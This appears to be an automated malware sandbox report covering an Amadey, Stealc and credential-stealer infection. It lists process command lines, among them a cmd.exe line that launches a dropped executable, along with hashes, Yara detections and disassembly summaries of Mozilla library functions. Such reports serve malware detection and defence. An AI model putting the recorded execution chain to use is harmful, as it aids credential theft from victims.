Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6980 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:17:49
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7120 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:12:02
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEGCAAKFBA.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:12:02
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:12:02
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsIEGCAAKFBA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIEGCAAKFBA.exe"
Imagebase:	0x630000
File size:	3'123'712 bytes
MD5 hash:	735B427034DFA1E8184D92B3E9E0E918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.1634682533.0000000000631000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:12:05
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x650000
File size:	3'123'712 bytes
MD5 hash:	735B427034DFA1E8184D92B3E9E0E918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.1673868210.0000000000651000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:12:06
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x650000
File size:	3'123'712 bytes
MD5 hash:	735B427034DFA1E8184D92B3E9E0E918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.1680674491.0000000000651000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:12:45
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	15:13:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x650000
File size:	3'123'712 bytes
MD5 hash:	735B427034DFA1E8184D92B3E9E0E918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2499571721.0000000000651000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	15:13:10
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe"
Imagebase:	0x270000
File size:	3'191'296 bytes
MD5 hash:	7D9C4F172E304E1666D3A6D10034F260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000002.2515038353.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	15:13:15
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe"
Imagebase:	0xbb0000
File size:	1'744'384 bytes
MD5 hash:	DE2C57DABA8A1E3B80177B5C161D68C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2395891164.0000000000BB1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000003.2335768333.0000000005550000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:13:19
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'123'712 bytes
MD5 hash:	735B427034DFA1E8184D92B3E9E0E918
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	15:13:23
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe"
Imagebase:	0x7ff6fee10000
File size:	2'825'728 bytes
MD5 hash:	D7E735E3F0A7FE8EBA17313DE3B48AA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	15:13:24
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe"
Imagebase:	0x270000
File size:	3'191'296 bytes
MD5 hash:	7D9C4F172E304E1666D3A6D10034F260
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	15:13:32
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4320 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	15:13:33
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe"
Imagebase:	0xbb0000
File size:	1'744'384 bytes
MD5 hash:	DE2C57DABA8A1E3B80177B5C161D68C1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CE935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1F688,00001000), ref: 6CE935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CE935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CE935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CE9363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CE9369F
__aulldiv.LIBCMT ref: 6CE936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CE93773
EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CE9377E
LeaveCriticalSection.KERNEL32(6CF1F688), ref: 6CE937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CE937C4
EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CE937CB
LeaveCriticalSection.KERNEL32(6CF1F688), ref: 6CE93801
__aulldiv.LIBCMT ref: 6CE93883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CE93902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CE93918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CE9394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CE935DB
GenuntelineI, xrefs: 6CE93639
QPC, xrefs: 6CE938FC
AuthcAMDenti, xrefs: 6CE93946
GTC, xrefs: 6CE93912

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 1c98e81ec5b101329b00199c592a8f2900de12dc4b34cd829a030ee87f3bd874
Instruction ID: 8e37346e34212445e03ea0e9dc666747190dfeb5cbf8b9a3a8603e8ed9fedd1c
Opcode Fuzzy Hash: 1c98e81ec5b101329b00199c592a8f2900de12dc4b34cd829a030ee87f3bd874
Instruction Fuzzy Hash: 67B1C4B1F183109FDB88DF28C45675ABBF5BB8A704F16892DE899D3B90D77498018B81

Function 6CEAC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CEAC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CEAC969
GetSystemInfo.KERNEL32(?), ref: 6CEAC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CEAC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CEAC9E2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 55a9c91af9841a6569901f19e85462469b260fcc56a78a2bdfd9aec7c5024225
Instruction ID: 6c5d0124f60da883d88b74124db33d6f747894baaabcf7132377957e0be92933
Opcode Fuzzy Hash: 55a9c91af9841a6569901f19e85462469b260fcc56a78a2bdfd9aec7c5024225
Instruction Fuzzy Hash: 0C214971B11204AFDB45AAA8CC85BAE73B9AF46304F71051EF903ABF40DB329C018795

Function 6CE93060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CE93095

Part of subcall function 6CE935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1F688,00001000), ref: 6CE935D5
Part of subcall function 6CE935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CE935E0
Part of subcall function 6CE935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CE935FD
Part of subcall function 6CE935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CE9363F
Part of subcall function 6CE935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CE9369F
Part of subcall function 6CE935A0: __aulldiv.LIBCMT ref: 6CE936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CE9309F

Part of subcall function 6CEB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5B85
Part of subcall function 6CEB5B50: EnterCriticalSection.KERNEL32(6CF1F688,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5B90
Part of subcall function 6CEB5B50: LeaveCriticalSection.KERNEL32(6CF1F688,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5BD8
Part of subcall function 6CEB5B50: GetTickCount64.KERNEL32 ref: 6CEB5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CE930BE

Part of subcall function 6CE930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CE93127
Part of subcall function 6CE930F0: __aulldiv.LIBCMT ref: 6CE93140

Part of subcall function 6CECAB2A: __onexit.LIBCMT ref: 6CECAB30

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 6e794aa5bec164a397d6ba12f58679d4a3146448242e76417db603c87a7b142e
Instruction ID: 500dba73210e9c9e90182dc52eebdf5c551f1367b73ddf40bbb4fb48c33dc0b3
Opcode Fuzzy Hash: 6e794aa5bec164a397d6ba12f58679d4a3146448242e76417db603c87a7b142e
Instruction Fuzzy Hash: 21F0A432E3074897CB90DF7499823E6B374AF6B214F62571DE85C67A61FB3061D88386

Non-executed Functions

Function 6CEA5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CEA5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CEA54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CEA54BE
__Init_thread_footer.LIBCMT ref: 6CEA54DB

Part of subcall function 6CECAB3F: EnterCriticalSection.KERNEL32(6CF1E370,?,?,6CE93527,6CF1F6CC,?,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB49
Part of subcall function 6CECAB3F: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE93527,6CF1F6CC,?,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECAB7C

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

GetCurrentThreadId.KERNEL32 ref: 6CEA54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CEA5516
GetCurrentThreadId.KERNEL32 ref: 6CEA556A
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEA5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CEA5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CEA5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CEA55E6
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEA5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEA5616

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

GetCurrentThreadId.KERNEL32 ref: 6CEA563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEA5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CEA567C
free.MOZGLUE(?), ref: 6CEA56AE

Part of subcall function 6CEB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
Part of subcall function 6CEB5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
Part of subcall function 6CEB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CEA56E8
GetCurrentThreadId.KERNEL32 ref: 6CEA5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CEA570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CEA5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CEA574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CEA576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CEA5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CEA57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CEA57CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CEA5724
GeckoMain, xrefs: 6CEA5554, 6CEA55D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CEA5D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CEA57AE
[I %d/%d] profiler_init, xrefs: 6CEA564E
MOZ_BASE_PROFILER_HELP, xrefs: 6CEA5511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CEA5717
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CEA57C5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CEA5766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CEA54B9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CEA5749
MOZ_PROFILER_STARTUP, xrefs: 6CEA55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CEA5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CEA5B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CEA5BBE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CEA5D2B
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CEA5791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CEA5D1C
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CEA5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CEA5AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CEA584E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CEA54A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CEA56E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CEA548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CEA5D01

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 17cbf8fa8217be4dd8bc655fd1eb9a83ed6c9bf85b7ac126339af1940b829881
Instruction ID: 4f1e8f8a58d414b3dbbd0a1eab422c936767b1f2ed232a7503530d445135bbd4
Opcode Fuzzy Hash: 17cbf8fa8217be4dd8bc655fd1eb9a83ed6c9bf85b7ac126339af1940b829881
Instruction Fuzzy Hash: F32213B4E09B409FE7009FA4C85575A7BB4AF4630CF26492DF8469BF41EB31984ACB53

Function 6CEA6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CEA6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CEA6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CEA6D26

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CEA6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CEA6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CEA6D73
free.MOZGLUE(00000000), ref: 6CEA6D80
CertGetNameStringW.CRYPT32 ref: 6CEA6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CEA6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CEA6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CEA6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CEA6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CEA6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CEA6E34
CreateFileW.KERNEL32 ref: 6CEA6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CEA6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CEA6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CEA709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CEA7103
free.MOZGLUE(00000000), ref: 6CEA7153
CloseHandle.KERNEL32(?), ref: 6CEA7176
__Init_thread_footer.LIBCMT ref: 6CEA7209
__Init_thread_footer.LIBCMT ref: 6CEA723A
__Init_thread_footer.LIBCMT ref: 6CEA726B
__Init_thread_footer.LIBCMT ref: 6CEA729C
__Init_thread_footer.LIBCMT ref: 6CEA72DC
__Init_thread_footer.LIBCMT ref: 6CEA730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CEA73C2
VerSetConditionMask.NTDLL ref: 6CEA73F3
